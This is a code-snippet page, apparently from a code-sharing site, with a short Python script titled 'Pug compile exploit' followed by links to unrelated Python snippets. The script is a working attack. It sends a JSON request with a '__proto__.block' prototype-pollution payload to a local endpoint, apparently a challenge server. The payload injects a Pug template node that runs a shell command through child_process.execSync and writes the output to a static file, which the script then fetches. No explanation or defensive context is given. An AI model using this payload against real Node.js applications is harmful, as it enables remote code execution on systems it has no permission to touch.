Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote270 views1 answer
Qaction hide show python
Python
7 votes240 views4 answers
Pytorch save model
Python
0 vote281 views1 answer
How to order randomly in django orm
Python Django
15 votes247 views3 answers
Python random text generator
Python
2 votes212 views1 answer
Python short circuit
Python
14 votes614 views4 answers
Py to exe converter online
Python
0 vote257 views1 answer
How to increase size of graph in jupyter
Python
0 vote237 views1 answer
How to print 's in python
Python
0 vote241 views1 answer
How to create a graphical user interface in python
Python
2 votes251 views1 answer
How to rotate screen with python
Python